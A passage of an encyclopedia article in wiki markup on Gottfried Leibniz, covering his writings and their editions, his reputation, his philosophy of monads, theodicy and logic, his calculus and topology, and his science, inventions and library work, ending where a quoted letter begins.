Leibniz wrote in three languages: scholastic Latin, French, and (least often) German. During his lifetime, he published many pamphlets and scholarly articles, but only two books, the ''Combinatorial Art'' and the ''[[Théodicée]]''. Only one substantial book appeared posthumously, his ''[[Nouveaux essais sur l'entendement humain]]''. Only in 1895, when Bodemann completed his catalogs of Leibniz's manuscripts and correspondence, did the enormous extent of Leibniz's ''[[Nachlass]]'' become clear: about 15,000 letters to more than 1000 recipients plus more than 40,000 other items. Moreover, quite a few of these letters are of essay length. Much of his vast correspondence, especially the letters dated after 1685, remains unpublished, and much of what is published has been so only in recent decades. The amount, variety, and disorder of Leibniz's writings are a predictable result of a situation he described as follows:
&lt;blockquote&gt;&quot;I cannot tell you how extraordinarily distracted and spread out I am. I am trying to find various things in the archives; I look at old papers and hunt up unpublished documents. From these I hope to shed some light on the history of the [House of] Brunswick. I receive and answer a huge number of letters. At the same time, I have so many mathematical results, philosophical thoughts, and other literary innovations that should not be allowed to vanish that I often do not know where to begin.&quot; (1695 letter to Vincent Placcius in Gerhardt, ''Philosophical Writings of Leibniz'' III: 194. Revision of translation in Mates 1986.) &lt;/blockquote&gt;

The extant parts of the [http://www.leibniz-edition.de critical edition] of Leibniz's writings are organized as follows:
*Series 1. ''Political, Historical, and General Correspondence''. 21 vols., 1666-1701.
*Series 2. ''Philosophical Correspondence''. 1 vol., 1663-85.
*Series 3. ''Mathematical, Scientific, and Technical Correspondence''. 6 vols., 1672-96.
*Series 4. ''Political Writings''. 6 vols., 1667-98.
*Series 5. ''Historical and Linguistic Writings''. Inactive.
*Series 6. ''Philosophical Writings''. 7 vols., 1663-90, and ''[[Nouveaux essais sur l'entendement humain]]''. Inactive.
*Series 7. ''Mathematical Writings''. 3 vols., 1672-76.
*Series 8. ''Scientific, Medical, and Technical Writings''. In preparation.

Some of these volumes, along with work in progress, are available online, for free. Even though work on this edition began in 1901, only 22 volumes had appeared by 1990, in part because the only additions between 1931 and 1962 were four volumes in Series 1.

Four important collections of English translations are W (Wiener 1951), LL (Loemker 1969), AG (Ariew and Garber 1989), and WF (Woolhouse and Francks, 1998).

===Posthumous reputation===
When Leibniz died, his reputation was in decline. He was remembered for only one book, the ''Theodicee'', whose supposed central argument [[Voltaire]] was to lampoon in his ''[[Candide]]''. Leibniz had an ardent disciple, [[Christian Wolff (philosopher)|Christian Wolff]], whose dogmatic and facile outlook did Leibniz's reputation much harm. In any event, philosophical fashion was moving away from the rationalism and system building of the 17th century, of which Leibniz had been such an ardent exponent. Much of Europe came to doubt that he had invented the calculus independently of Newton, and hence his whole work in mathematics and physics was neglected. His work on law, diplomacy, and history was seen as of ephemeral interest. The vastness and richness of his correspondence went unsuspected.

Leibniz's long march to his present glory began with the 1765 publication of the ''Nouveaux Essais'', which [[Kant]] read closely. In 1768, Dutens edited the first multi-volume edition of Leibniz's writings, followed in the 19th century by a number of editions, including those edited by Erdmann, Foucher de Careil, Gerhardt, Gerland, Klopp, and Mollat. Publication of Leibniz's correspondence with notables such as [[Antoine Arnauld]], [[Samuel Clarke]], [[Sophia of Hanover]], and her daughter [[Sophia Charlotte of Hanover]], began.

In 1900, [[Bertrand Russell]] published a study of Leibniz's metaphysics. Shortly thereafter, [[Louis Couturat]] published an important [http://philosophy2.ucsd.edu/~rutherford/Leibniz/intro.htm study] of Leibniz, and edited a volume of Leibniz's heretofore unpublished writings, mainly on logic. While their conclusions are debatable, Russell's in particular, they made Leibniz somewhat respectable among 20th century analytical and linguistic philosophers. (E.g., Leibniz's phrase ''salva veritate'' recurs in [[Willard Quine]]'s writings.) Nevertheless, the secondary literature on Leibniz did not really blossom until after [[WWII]]. This is especially true of English speaking countries; in Gregory Brown's [http://www.hfac.uh.edu/gbrown/philosophers/leibniz/ online bibliography,] fewer than 30 of the English language entries were published before 1946. American Leibniz studies owe much to Leroy Loemker (1904-85); see, e.g., his (1969) annotated translations and his interpretive essays included in LeClerc (1973).

Leibniz's reputation as a philosopher is now perhaps higher than at any time since he was alive because (Jolley 2005: 217-19):
*Work in the history of 17th and 18th century [[history of ideas|ideas]] now reveals more clearly a 17th century Intellectual Revolution that preceded the better known [[industrial revolution|Industrial]] and commercial revolutions of the 18th and 19th centuries.
*The doctrinaire contempt for [[metaphysics]], characteristic of [[analytic philosophy|analytic]] and [[linguistic philosophy]], has faded;
*[[Analytic philosophy]] continues to profit from his notions of [[identity]], [[individuation]], and [[possible worlds]];
*The 17th century belief that natural science, especially [[physics]], differs from philosophy mainly in degree and not in kind, is no longer dismissed out of hand;
*He is now seen as a major prolongation of the mighty endeavor begun by [[Plato]] and [[Aristotle]]: the [[universe]] and man's place in it are amenable to human [[reason]].

==Philosopher==
It is very difficult to grasp Leibniz's philosophical thinking, because his philosophical writings consist mainly of a multitude of short pieces: journal articles, manuscripts published long after his death, and many letters to many correspondents. He only wrote two philosophical treatises, and the only one he published in his lifetime, the ''Théodicée'' of 1710, is as much theological as philosophical. Leibniz dated his beginning as a philosopher to his ''[[Discourse on Metaphysics]]'', which he composed in 1686 as a commentary on a running dispute between [[Malebranche]] and [[Antoine Arnauld]]. This led to an extensive and valuable correspondence with Arnauld (AG 69, LL §§36,38); it and the ''Discourse'' were not published until the 19th century. In 1695, Leibniz made his public entrée into European philosophy with a journal article titled &quot;New System of the Nature and Communication of Substances&quot; (AG 138, LL §47, W II.4). Over 1695-1705, he composed his ''[[New Essays on Human Understanding]]'', a lengthy commentary on [[John Locke]]'s 1690 ''[[An Essay Concerning Human Understanding]]'', but upon learning of Locke's 1704 death, lost the desire to publish it, so that the ''New Essays'' were not published until 1765. The ''Monadologie'', composed in 1714 and published posthumously, consists of 90 aphorisms.

Leibniz met [[Spinoza]] in 1676, read some of his unpublished writings, and has since been suspected of appropriating some of Spinoza's ideas. While Leibniz admired Spinoza's powerful intellect, he was also forthrightly dismayed by Spinoza's conclusions (AG 272-84, W III.8, LL §§14,20,21), especially when these were inconsistent with Christian orthodoxy.

Unlike Descartes and Spinoza, Leibniz had a thorough university education in philosophy. His lifelong [[Scholastic philosophy|scholastic]] and [[Aristotle|Aristotelian]] turn of mind betrayed the strong influence of one of his [[Leipzig]] professors, [[Jakob Thomasius]], who also supervised his BA thesis in philosophy. Leibniz also eagerly read [[Francisco Suarez]], a Spanish Jesuit respected even in Lutheran universities. Leibniz was deeply interested in the new methods and conclusions of [[Descartes]], [[Huygens]], [[Newton]], and [[Boyle]], but viewed their work through a lens heavily tinted by scholastic notions. Yet it remains the case that Leibniz's methods and concerns often anticipate the [[logic]], and [[analytic philosophy| analytic]] and [[linguistic philosophy]] of the 20th century. 

For a first introduction to Leibniz's philosophy, turn to the Introduction of an anthology of his writings in English translation, e.g., Wiener (1951), Loemker (1969a), Woolhouse and Francks (1998). Then turn to the monographs [http://www.etext.leeds.ac.uk/leibniz/leibniz.htm MacDonald Ross (1984),] and Jolley (2005). For an introduction to Leibniz's metaphysics, see the chapters by Mercer, Rutherford, and Sleigh in Jolley (1995); see Mercer (2001) for an advanced study. For an introduction to those aspects of Leibniz's thought of most value to the philosophy of logic and of language, see Jolley (1995, chpts. 7,8);  Mates (1986) is more advanced. MacRae (Jolley 1995: chpt. 6) discusses Leibniz's theory of knowledge. For glossaries of the philosophical terminology recurring in Leibniz's writings and the secondary literature, see Woolhouse and Francks (1998: 285-93) and Jolley (2005: 223-29).

===The Principles===
Leibniz variously invoked one or another of seven fundamental philosophical Principles (Mates 1986: chpts. 7.3, 9): 
*[[Identity]] / [[Contradiction]]. If a proposition is true, its negation is false and vice versa.
*[[Identity of indiscernibles]]. Two things are identical if and only if they share the same properties.
*[[principle of sufficient reason|Sufficient Reason]]. &quot;There must be a sufficient reason [often known only to God] for anything to exist, for any event to occur, for any truth to obtain.&quot; (LL 717).
*[[Pre-established harmony]]. See Jolley (1995: 129-31), Woolhouse and Francks (1998), and Mercer (2001).
*[[Continuum mechanics|Continuity]]. ''Natura non saltum facit''. A mathematical analog to this principle would go as follows. If a function describes a transformation of something to which continuity applies, its domain and range are both dense sets.
*[[Optimism]]. &quot;God assuredly always chooses the best.&quot; (LL 311).
*[[Plenitude principle|Plenitude]].

He would on occasion propose a rationale for a specific principle, but often took them for granted. For a precis of what Leibniz meant by these and other Principles, see Mercer (2001: 473-84). For a classic discussion of [[principle of sufficient reason|sufficient reason]] and [[Plenitude principle|plenitude]], see Lovejoy (1957).

===The Monads===
Leibniz's best known contribution to [[metaphysics]] is his theory of [[monad]]s, as exposited in his ''Monadologie.'' Monads are to the mental realm what [[atom]]s are to the physical. (Curiously, Leibniz argued that matter was infinitely divisible, thus denying that atoms exist.) Monads are the ultimate elements of the [[universe]], and are also entities of perception. The [[monad]]s are &quot;substantial forms of being&quot; with the following properties: they are eternal, indecomposable, individual, subject to their own laws, un-interacting, and each reflecting the entire universe in a [[pre-established harmony]] (a historically important example of [[panpsychism]]). Monads are centers of [[force]]; substance is force, while [[space]], [[matter]], and [[motion]] are merely phenomenal.

The [[ontology|ontological]] essence of a monad is its irreducible simplicity. Unlike [[atom]]s, monads posses no material or spatial character. They also differ from atoms by their complete mutual independence, so that interactions among monads are only apparent. Instead, by virtue of the principle of [[pre-established harmony]], each monad follows a preprogrammed set of &quot;instructions&quot; peculiar to itself, so that a monad &quot;knows&quot; what to do at each moment. (These &quot;instructions&quot; may be seen as analogs of the [[scientific law]]s governing [[subatomic particle]]s.) By virtue of these instrinsic instructions, each monad is like a little mirror of the universe. Monads need not be &quot;small&quot;; e.g., each human being constitutes a monad, in which case [[free will]] is problematic. [[God]], too, is a monad, and [[existence of God|God's existence]] can be inferred from the harmony prevailing among all other monads; God wills the [[pre-established harmony]].

Monads are purported to solve the problematic:
*Interaction between [[mind]] and [[matter]] arising in the system of [[Descartes]];
*Lack of [[individuation]] inherent to the system of [[Spinoza]], which represent individual creatures as merely [[accident|accidental]].

The monadology was thought arbitrary, even eccentric, in Leibniz's day and since. It now seems less so, in the light of key notions in contemporary physics such as [[field (physics)|field]], and the [[action at a distance (physics)|action at a distance]] and [[entanglement]] characterizing [[quantum mechanics]].

===Theodicy and optimism===
The ''Théodicée'' tries to justify the apparent imperfections of the world by claiming that it is optimal among all possible worlds. It must be the best possible and most balanced world, because it was created by a perfect God. Rutherford (1998) is a detailed scholarly study of Leibniz's theodicy.

The statement that &quot;we live in the best of all possible worlds&quot; drew scorn, most notably from [[Voltaire]], who lampooned it in his comic novel ''[[Candide]]'' by having the character ''[[Pangloss|Dr. Pangloss]]'' (a parody of Leibniz) repeat it like a [[mantra]]. Thus the adjective &quot;panglossian&quot;, describing one so naive as to believe that the world about us is the best possible one.

The mathematician [[Paul du Bois-Reymond]], in his &quot;Leibnizian Thoughts in [[Modern]] [[Science]],&quot; wrote that Leibniz thought of God as a [[mathematician]].&lt;blockquote&gt; &quot;As is well known, the theory of the [[maxima]] and [[minima]] of [[Function (mathematics)|functions]] was indebted to him for the greatest progress through the discovery of the method of [[tangent]]s. Well, he conceives God in the creation of the world like a mathematician who is solving a minimum problem, or rather, in our modern phraseology, a problem in the [[calculus of variations]] --- the question being to determine among an [[infinite]] number of possible worlds, that for which the sum of necessary [[evil]] is a minimum.&quot;&lt;/blockquote&gt;

A cautious defense of Leibnizian [[optimism]] would invoke certain scientific principles that emerged in the two centuries since his death and that are now thoroughly established: the [[principle of least action]], the [[conservation of mass]], and the [[conservation of energy]]. Recent scientific developments enable a bolder defense. The [[solar system]] appears to have a number of fortuitous characteristics that support [[Earth]]'s long lived and melioristic [[biosphere]]: the Earth is rich in [[metal]]s, is of the right size and distance from the [[sun]], and has the right [[rotation period]] and axis tilt. The [[Moon]] and Jupiter have sizes and [[orbit]]s enabling them to shield the Earth from [[bolide]] impacts; for whatever reason, such impacts have been happily rare since life emerged; and so on (Ward &amp; Brownlee, 2000; Morris 2003: chpts. 5,6).

Bolder yet is a defense of [[optimism]] that invokes the [[Anthropic Principle]]. Contemporary physics can be seen as grounded in the numerical values of a handful of [[fundamental physical constants|dimensionless constants]], the best known of which are the [[fine structure constant]] and the ratio of the [[rest mass]] of the [[proton]] to the [[electron]]. Were the numerical values of these constants to differ by a few percent from their observed values, it is likely that the resulting universe would be incapable of harboring [[complexity]]. Our universe is &quot;best&quot; in the sense that it is capable of supporting [[complexity|complex]] structures such as [[galaxy|galaxies]], [[star]]s, and, ultimately, life on Earth.

===Symbolic thought===
Leibniz had a remarkable faith that a great deal of human reasoning could be reduced to calculations of a sort, and that such calculations could resolve many differences of opinion:
&lt;blockquote&gt;&quot;The only way to rectify our reasonings is to make them as tangible as those of the Mathematicians, so that we can find our error at a glance, and when there are disputes among persons, we can simply say: Let us calculate [''calculemus''], without further ado, to see who is right.&quot; (''The Art of Discovery'' 1685, W 51) &lt;/blockquote&gt;
Leibniz's [[calculus ratiocinator]], which very much brings [[symbolic logic]] to mind, can be viewed as a way of making calculations of this sort feasible. Leibniz wrote memoranda (many of which are translated in Parkinson 1966) that can now be read as groping attempts to get symbolic logic--and thus his ''calculus''--off the ground. But Gerhard and Couturat did not publish these writings until after modern formal logic had emerged in Frege's ''[[Begriffsschrift]]'' and in various writings by [[Charles Peirce]] and his students in the 1880s, and hence well after [[Boole]] and [[De Morgan]] began that logic in 1847.

Leibniz thought [[symbol]]s very important for human understanding. He attached so much importance to the invention of good notations that he attributed to this alone the whole of his discoveries in mathematics. His notation for the [[infinitesimal calculus]] affords a splendid example of his skill in this regard. [[Charles Peirce]], a 19th century pioneer of [[semiotics]], shared Leibniz's passion for symbols and notation, and his belief that these are essential to a well-running logic and mathematics.

But Leibniz took his speculations much further. Defining a [[Grapheme|character]] as any written sign, he then defined a &quot;real&quot; character as one that represents an idea directly and not simply the word embodying the idea. Some real characters, such as the notation of logic, serve only to facilitate reasoning. Many characters well-known in his day, including [[Egyptian]] [[hieroglyphic]]s, [[Chinese character]]s, and the symbols of [[astronomy]] and [[chemistry]], he deemed not real.&lt;!--is this paragraph correct up to this point?--&gt; Instead, he proposed the creation of a ''[[characteristica universalis]]'' or &quot;universal characteristic,&quot; built on an [[alphabet of human thought]] in which each fundamental concept would be represented by a unique &quot;real&quot; character.
&lt;blockquote&gt;&quot;It is obvious that if we could find characters or signs suited for expressing all our thoughts as clearly and as exactly as arithmetic expresses numbers or geometry expresses lines, we could do in all matters ''insofar as they are subject to reasoning'' all that we can do in arithmetic and geometry. For all investigations which depend on reasoning would be carried out by transposing these characters and by a species of calculus.&quot; (''Preface to the General Science'', 1677. Revision of Rutherford's translation in Jolley 1995: 234. Also W I.4) &lt;/blockquote&gt;
More complex thoughts would be represented by combining in some way the characters for simpler thoughts. Leibniz saw that the uniqueness of [[prime factorization]] suggests a central role for [[prime numbers]] in the universal characteristic, a striking anticipation of [[Gödel numbering]]. Granted, there is no intuitive or [[mnemonic]] way to number any set of elementary concepts using the prime numbers.

Because Leibniz was a mathematical novice at the time he first wrote about the ''characteristic'', at first he did not conceive it as an [[algebra]] but rather as a [[universal characteristic | universal language]] or script. Only in 1676 did he conceive of a kind of &quot;algebra of thought,&quot; modeled on and including conventional algebra and its notation. The resulting ''characteristic'' was to include a logical calculus, some combinatorics, algebra, his ''analysis situs'' (geometry of situation) discussed in 3.2, a universal concept language, and more. 

What Leibniz actually intended by his  [[characteristica universalis]] and [[calculus ratiocinator]], and the extent to which modern formal [[logic]] does justice to the calculus, may perhaps never be unambiguously established. A good introductory discussion of the &quot;characteristic&quot; is Jolley (1995: 226-40). An early yet still classic discussion of the &quot;characteristic&quot; and &quot;calculus&quot; is Couturat (1901: chpts. 3,4). 

The importance of the ''characteristica'' and ''calculus'' goes beyond their value for understanding Leibniz's legacy, and extends to [[mathematics]], [[modernity]], the European [[Age of Enlightenment |Enlightenment]], and, more controversially, even to [[postmodern]] theory. The ''characteristica'' and ''calculus'' are also possible ways in which Leibniz's thinking can contribute to contemporary thinking in [[thermodynamics]], [[biology]], [[climate change]], and [[resource policy]], and consequently how [[ethics]] and [[metaphysics]] can meaningfully engage with such currently topical issues. Moreover, computer [[software]] employing networks of block diagrams and pictograms to generate the mathematics and [[kinetics]] of [[ecology|ecological]], thermodynamic, and dynamic [[socioeconomic]] systems, all appear to aim at formal systems of the sort Leibniz dreamed about.

===Formal logic===
Leibniz is the most important logician between Aristotle and 1847, when [[George Boole]] and [[Augustus De Morgan]] each published books that began modern formal logic. Leibniz enunciated the principal properties of what we now call [[logical conjunction|conjunction]], [[disjunction]], [[negation]], [[identity]], set [[subset|inclusion]], and the [[empty set]]. The principles of Leibniz's logic and, arguably, of his whole philosophy, reduce to two:

#All our ideas are compounded from a very small number of simple ideas, which form the [[alphabet of human thought]].
#Complex ideas proceed from these simple ideas by a uniform and symmetrical combination, analogous to arithmetical multiplication.

With regard to (1), the number of simple ideas is much greater than Leibniz thought. As for (2), logic can indeed be grounded in a symmetrical combining operation, but that operation is analogous to either of addition or multiplication. The formal logic that emerged early in the 20th century  also requires, at minimum, unary [[negation]] and [[quantification|quantified]] [[variable]]s ranging over some [[universe of discourse]].

Leibniz published nothing on formal logic in his lifetime; most of what he wrote on the subject consists of working drafts [[Louis Couturat]] found in the [[Nachlass]] and published in 1903. Selections from this volume have been translated into English, mainly by Parkinson (1966) and Loemker (1969). Our present understanding of Leibniz the logician emerges mainly from the work of Wolfgang Lenzen, beginning around 1980; for a summary, see [http://www.philosophie.uni-osnabrueck.de/Woods.htm Lenzen (2004).]  

[[Charles Peirce]], [[Hugh MacColl]], [[Frege]], and [[Bertrand Russell]] all shared Leibniz's dream of combining symbolic logic, mathematics, and philosophy. The culmination of Leibniz's approach to logic is, arguably, the algebraic logic of [[Ernst Schröder]] and the [[modal logic]] founded by [[Clarence Irving Lewis]]. For an example of how present-day work in logic and metaphysics can draw inspiration from, and shed light on, Leibniz's thought, see Zalta (2000).

==Mathematician==
Although the mathematical notion of [[Function (mathematics)|function]] was implicit in trigonometric and logarithmic tables, which existed in his day, Leibniz was the first, in 1692 and 1694, to employ it explicitly, to denote any of several geometric concepts derived from a curve, such as [[abscissa]], [[ordinate]], [[tangent]], [[chord]], and the perpendicular (Struik 1969: 367). In the 18th century, &quot;function&quot; lost these geometrical associations.

Leibniz was the first to see that the coefficients of a system of [[linear equation]]s could be arranged into arrays, now called [[determinant]]s, which can be manipulated to find the solution of the system, if any. This method was later called [[Cramer's Rule]]. Leibniz's discovery of [[Boolean algebra]] and of [[symbolic logic]] was discussed in the preceding section.

A comprehensive scholarly treatment of Leibniz's mathematical writings has yet to be written, perhaps because Series 7 of the Academy edition is very far from complete.

===The calculus===
Leibniz is credited, along with [[Isaac Newton]], with inventing the [[infinitesimal calculus]]. According to Leibniz's notebooks, a critical breakthrough occurred on [[November 11]], [[1675]], when he employed integral calculus for the first time to find the area under the function ''y&amp;nbsp;=&amp;nbsp;x''. He introduced several notations used to this day, for instance the [[integral sign]] &amp;int; representing an elongated S, from the Latin word ''summa'' and the ''d'' used for [[Differential (mathematics)|differentials]], from the Latin word ''differentia''. Leibniz did not publish any of his results until 1684. For an English translation of this paper, see Struik (1969: 271-84), who also translates parts of two other key papers by Leibniz on the calculus. The [[product rule]] of [[differential calculus]] is still called &quot;Leibniz's rule.&quot;

Leibniz's approach to the calculus fell well short of later standards of rigor (the same can be said of Newton's). We now see a Leibniz &quot;proof&quot; as being in truth mostly a [[heuristic]] hodgepodge, mainly grounded in geometric intuition and an intuitive understanding of [[differentials]]. Leibniz also freely invoked mathematical entities he called [[infinitesimal]]s, manipulating them freely in ways suggesting that they had [[paradox]]ical [[algebra]]ic properties. [[George Berkeley]], in a tract called ''The Analyst'' and elsewhere, ridiculed this and other aspects of the early calculus, pointing out that natural science grounded in the calculus required just as big of a leap of [[faith]] as [[theology]] grounded in [[Christianity|Christian]] [[revelation]]. Some of Berkeley's arguments are now seen as well taken. 

The calculus as we now know it emerged in the 19th century, thanks to the efforts of [[Cauchy]], [[Riemann]], [[Weierstrass]], and others, who based their work on a rigorous notion of [[limit]] and on a precise understanding of the [[real number]]s. Their work banished infinitesimals into the wilderness of obsolete mathematics (although engineers, physicists, and economists continued to use them). But beginning in 1960, [[Abraham Robinson]] showed how to make sense of Leibniz's infinitesimals, and how to give them algebraic properties free of paradox. The resulting [[nonstandard analysis]] can be seen as a great belated triumph of Leibniz's mathematical and [[ontology|ontological]] intuition.

From 1711 until his death, Leibniz's life was envenomed by a long dispute with John Keill, [[Newton]], and others, over whether Leibniz had invented the calculus independently of Newton, or whether he had merely invented another notation for ideas that were fundamentally Newton's. Hall (1980) gives a thorough scholarly discussion of the [[Newton v. Leibniz calculus controversy|calculus priority dispute]].

===Topology===
Leibniz was the first to employ the term ''analysis situs'' (LL §27), later employed in the 19th century to refer to what is now known as [[topology]]. There are two takes on this situation. On the one hand, Mates (1986: 240), citing a 1954 paper in German by [[Freudenthal]], argues as follows:
&lt;blockquote&gt;&quot;Although for [Leibniz] the situs of a sequence of points is completely determined by the distance between them and is altered if those distances are altered, his admirer [[Euler]], in the famous 1736 paper solving the [[Seven Bridges of Konigsberg|Konigsberg Bridge Problem]] and its generalizations, used the term ''geometria situs'' in such a sense that the situs remains unchanged under topological deformations. He mistakenly credits Leibniz with originating this concept. ...it is sometimes not realized that Leibniz used the term in an entirely different sense and hence can hardly be considered the founder of that part of mathematics.&quot;&lt;/blockquote&gt;

Hirano (1997) argues differently, quoting Mandelbrot (1977: 419) as follows:

&lt;blockquote&gt;&quot;...To sample Leibniz' scientific works is a sobering experience. Next to calculus, and to other thoughts that have been carried out to completion, the number and variety of premonitory thrusts is overwhelming. We saw examples in 'packing,'... My Leibniz mania is further reinforced by finding that for one moment its hero attached importance to geometric scaling. In &quot;Euclidis Prota&quot;..., which is an attempt to tighten Euclid's axioms, he states,...: 'I have diverse definitions for the straight line. The straight line is a curve, any part of which is similar to the whole, and it alone has this property, not only among curves but among sets.' This claim can be proved today.&quot;&lt;/blockquote&gt;

Thus Mandelbrot's well-known fractal geometry drew on Leibniz's notions of self-similarity and the principle of continuity: ''natura non facit saltus''. We also see that when Leibniz wrote, in a metaphysical vein, that  &quot;the straight line is a curve, any part of which is similar to the whole...&quot; he was anticipating topology by more than two centuries. As for &quot;packing,&quot; Leibniz told to his friend and correspondent [[Des Bosses]] to imagine a circle, then to inscribe within it three congruent circles with maximum radius; the latter smaller circles could be filled with three even smaller circles by the same procedure. This process can be continued infinitely, from which arises a good idea of self-similarity. Leibniz's improvement of Euclid's axiom contains the same concept.

==Scientist and engineer==
Leibniz's writings are currently discussed, not only for their anticipations and possible discoveries not yet recognized, but as ways of advancing present knowledge. Much of his writing on physics is included in Gerhardt's ''Mathematical Writings''. His writings on other scientific and technical subjects are mostly scattered and relatively little known, because the Academy edition has yet to publish any volume in its Series ''Scientific, Medical, and Technical Writings'' .

===Physics===
Leibniz contributed a fair amount to the statics and dynamics emerging about him, often disagreeing with [[Descartes]], [[Newton]] and their followers. He devised a new theory of [[motion]] ([[dynamics]]) based on [[kinetic]] and potential energy. While he may have been Newton's peer as co-discoverer of the calculus, he was not in Newton's league as a physicist and may even deserve to be ranked below his mentor Huygens. An important example of Leibniz's mature physical thinking is his ''Specimen Dynamicum'' of 1695. (AG 117, LL §46, W II.5) On Leibniz and physics, see the chapter by Garber in Jolley (1995) and Wilson (1989).

Until the discovery of subatomic particles and the [[quantum mechanics]] governing them, many of Leibniz's speculative ideas about aspects of nature not reducible to statics and dynamics made little sense. For instance, he anticipated [[Einstein]] by arguing, against [[Newton]], that [[space]], [[time]] and [[motion]] are relative, not absolute. [[Leibniz's rule]] in interacting theories plays a role in [[supersymmetry]] and in the lattices of [[quantum mechanics]]. His [[principle of sufficient reason]] has been invoked in recent [[cosmology]], and his [[identity of indiscernibles]] in [[quantum mechanics]], a field some even credit him with having anticipated in some sense.  Those who advocate [[digital philosophy]], a recent direction in cosmology, claim Leibniz as a precursor.

====The ''vis viva''====
:''See main article: [[Conservation of energy#Historical development|Conservation of energy: Historical development]].''

Leibniz 's ''vis viva'' (Latin for ''living force'') is an invariant mathematical characteristic of certain mechanical systems (see AG 155-86, LL §§53-55, W II.6-7a). It can be seen as a special case of the [[conservation of energy]]. Here too his thinking gave rise to another regrettable nationalistic dispute. His &quot;vis viva&quot; was seen as rivaling the [[conservation of momentum]] championed by Newton in England and by [[Descartes]] in France; hence [[academics]] in those countries tended to neglect Leibniz's idea. [[Engineer]]s eventually found &quot;vis viva&quot; useful when making certain [[calculation]]s, so that the two approaches eventually were seen as complementary.

===Other natural science===
By proposing that the earth has a molten core, he anticipated modern [[geology]]. In [[embryology]], he was a preformationist, but also proposed that organisms are the outcome of a combination of an infinite number of possible microstructures and of their powers. In the [[life sciences]] and [[paleontology]], he revealed an amazing transformist and intuition, fueled by his study of comparative anatomy and fossils. He worked out a primal organismic theory. On Leibniz and biology, see Loemker (1969a: VIII). In [[medicine]], he exhorted the physicians of his time -- with some results -- to ground their theories in detailed comparative observations and verified experiments, and to distinguish firmly scientific and metaphysical points of view.

===Social science===
In [[psychology]] he anticipated the distinction between [[conscious]] and [[unconscious]] states. On Leibniz and psychology, see Loemker (1969a: IX). In public health,  he advocated establishing a medical administrative authority, with powers over [[epidemiology]] and [[veterinary medicine]]. He worked to set up a coherent medical training programme, oriented towards public health and preventive measures. In economic policy, he proposed tax reforms and a national insurance scheme, and discussed the balance of trade. He even proposed something akin to what much later emerged as [[game theory]]. In [[sociology]] he laid the ground for [[communication theory]].

===Technology===
In 1906, Gerland published a volume of Leibniz's writings bearing on his many practical inventions and engineering work. To date, few of these writings have been translated into English. Nevertheless, it is well understood that Leibniz was a serious inventor, engineer, and applied scientist, with great respect for practical life. Following the motto ''theoria cum praxis'', he urged that theory be combined with practical application, and thus has been claimed as the father of [[applied science]]. He designed wind-driven propellers and water pumps, mining machines to extract ore, hydraulic presses, lamps, submarines, clocks, etc. With [[Denis Papin]], he invented a [[steam engine]]. He even proposed a method for desalinating water. He struggled, 1680-85, to overcome the chronic flooding that afflicted the ducal silver mines in the Harz Mountains, but his efforts were not crowned with success. (Aiton 1985: 107-114, 136)

====Information technology====
Leibniz may have been the first computer scientist and information theorist. Early in life, he discovered the [[binary number]] system (base 2), the one subsequently employed on all computers, then revisited that system throughout his career. On Leibniz and binary numbers, see Couturat (1901: 473-78). Leibniz anticipated Lagrangian interpolation and [[algorithmic information theory]]. His [[calculus ratiocinator]] anticipated aspects of the [[universal Turing machine]]. In 1934, [[Norbert Wiener]] claimed to have found in Leibniz's writings a mention of the concept of [[feedback]], central to Wiener's later [[cybernetics|cybernetic]] theory.

In 1671, Leibniz began to invent a machine that could execute all four arithmetical operations, gradually improving it over a number of years. This machine attracted fair attention and was the basis of his election to the [[Royal Society]] in 1673. A number of such machines were made during his years in Hanover, by a craftsman working under Leibniz's supervision. It was not an unambiguous success because it did not fully mechanize the operation of carrying. Couturat (1901: 115) reported finding an unpublished note by Leibniz, dated 1674, describing a machine capable of performing some algebraic operations.

Leibniz was groping towards hardware and software concepts worked out much later by [[Charles Babbage]] and [[Ada Lovelace]], 1830-45. In 1679, while mulling over his binary arithmetic, Leibniz imagined a machine in which binary numbers were represented by marbles, governed by a rudimentary sort of punched cards.[http://www.edge.org/discourse/schirrmacher_eurotech.html] Modern electronic digital computers replace Leibniz's marbles moving by gravity with shift registers, voltage gradients, and pulses of electrons, but otherwise they run roughly as Leibniz envisioned in 1679. Davis (2000) discusses Leibniz's prophetic role in the emergence of calculating machines and of formal languages.

===The librarian===
In his capacity as librarian of the ducal libraries in [[Hanover]] and [[Wolfenbuettel]], Leibniz effectively became one of the founders of [[library science]].[http://members.tripod.com/ClintonGreen/universal.html#6] The latter library was enormous for its day, as it contained more than 100,000 volumes, and Leibniz helped design a new building for it, believed to be the first building explicitly designed to be a library. He also designed a book [[library classification|indexing system]] in ignorance of the only other such system then extant, that of the [[Bodleian Library]] at [[Oxford University]]. He also called on publishers to distribute abstracts of all new titles they produced each year, in a standard form that would facilitate indexing. He hoped that this abstracting project would eventually include everything printed from his day back to [[Gutenberg]]. Neither proposal met with success at the time, but something like them became standard practice among English language publishers during the 20th century, under the aegis of the [[Library of Congress]] and the [[British Library]]. 

He called for the creation of an [[empirical]] [[database]] as a means of furthering all the sciences. His [[characteristica universalis]], [[calculus ratiocinator]], and a &quot;community of minds&quot;, intended, among other things, bringing political and religious unity to Europe, can be seen as distant unwitting anticipations of artificial languages (e.g., [[Esperanto]] and its rivals), [[symbolic logic]], even the [[World Wide Web]].

===Advocate of scientific societies=== 
Leibniz emphasized that [[research]] was a collaborative endeavor. Hence he warmly advocated the formation of national scientific societies along the lines of the British Royal Society and the French Academie Royale des Sciences. More specifically, in his correspondence and travels he urged the creation of such societies in Dresden, Saint Petersburg, Vienna, and Berlin. Only one such project came to fruition; in 1700, the [[Berlin Academy of Sciences]] was created. Leibniz served as its first President , for life,and drew up its first statutes. That Academy evolved into the German Academy of Sciences, the publisher of the ongoing critical edition of his works. On Leibniz’s projects for scientific societies, see Couturat (1901: App. IV).

==Lawyer, moralist, theologian==
No philosopher has ever had as much experience with practical affairs of state as Leibniz, [[Marcus Aurelius]] possibly excepted. Leibniz's writings on law, ethics, and politics (e.g., AG 19, 94, 111, 193; Riley 1988; LL §§2, 7, 20, 29, 44, 59, 62, 65; W I.1, IV.1-3) were long overlooked by English speaking scholars but this has changed of late; see (in order of difficulty) Jolley (2005: chpt. 7), Gregory Brown's chapter in Jolley (1995), Hostler (1975), and Riley (1996). 

While Leibniz was no apologist for absolute monarchy a la [[Hobbes]], or for tyranny in any form, neither did he echo the political and constitutional views of his contemporary [[John Locke]], views invoked in support of democracy, first in 18th century America and subsequently elsewhere. The following excerpt from a 1695 letter to Baron J. C. Boineburg's son Philipp is very revealing of Leibniz's political sentiments:
